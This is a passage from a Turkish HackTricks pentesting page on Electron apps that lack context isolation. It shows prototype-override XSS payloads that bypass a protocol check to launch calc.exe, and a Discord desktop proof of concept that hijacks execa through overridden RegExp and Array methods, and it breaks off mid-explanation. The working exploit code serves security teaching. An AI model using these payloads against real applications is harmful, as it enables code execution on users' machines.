Electron contextIsolation RCE via preload code

Reading time: 2 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Örnek 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden bir örnek

Bu kod, http(s) bağlantılarını varsayılan tarayıcı ile açar:

file:///C:/Windows/systemd32/calc.exe gibi bir şey, bir hesap makinesi çalıştırmak için kullanılabilir, SAFE_PROTOCOLS.indexOf bunu engelliyor.

Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa navigasyonu aracılığıyla enjekte edebilir:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

SAFE_PROTOCOLS.indexOf çağrısı her zaman 1337 döndüreceğinden, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Orijinal slaytlara, izin istemeden programları çalıştırmanın diğer yollarını kontrol edin.

Görünüşe göre kod yüklemek ve çalıştırmak için file://127.0.0.1/electron/rce.jar gibi bir şeye erişmek başka bir yol.

Örnek 2: Discord Uygulaması RCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 adresinden bir örnek

Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin DiscordNative.nativeModules.requireModule('MODULE-NAME') aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.
Burada, RCE için doğrudan kullanılabilecek child_process modülü gibi modülleri kullanamadım, ancak JavaScript yerleşik yöntemlerini geçersiz kılarak ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum.

Aşağıda PoC bulunmaktadır. calc uygulamasının, RegExp.prototype.test ve Array.prototype.join yöntemlerini geçersiz kılarken, devTools'tan "discord_utils" adlı modülde tanımlı getGPUDriverVersions fonksiyonunu çağırdığımda açıldığını doğruladım.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

getGPUDriverVersions fonksiyonu, programı "execa" kütüphanesini kullanarak çalıştırmaya çalışır, aşağıdaki gibi:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Genellikle execa, nvidiaSmiPath değişkeninde belirtilen "nvidia-smi.exe" dosyasını çalıştırmaya çalışır, ancak RegExp.prototype.test ve Array.prototype.join'ın geçersiz kılınması nedeniyle, argüman _execa_'nın iç işleyişinde "calc" ile değiştirilir.

Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.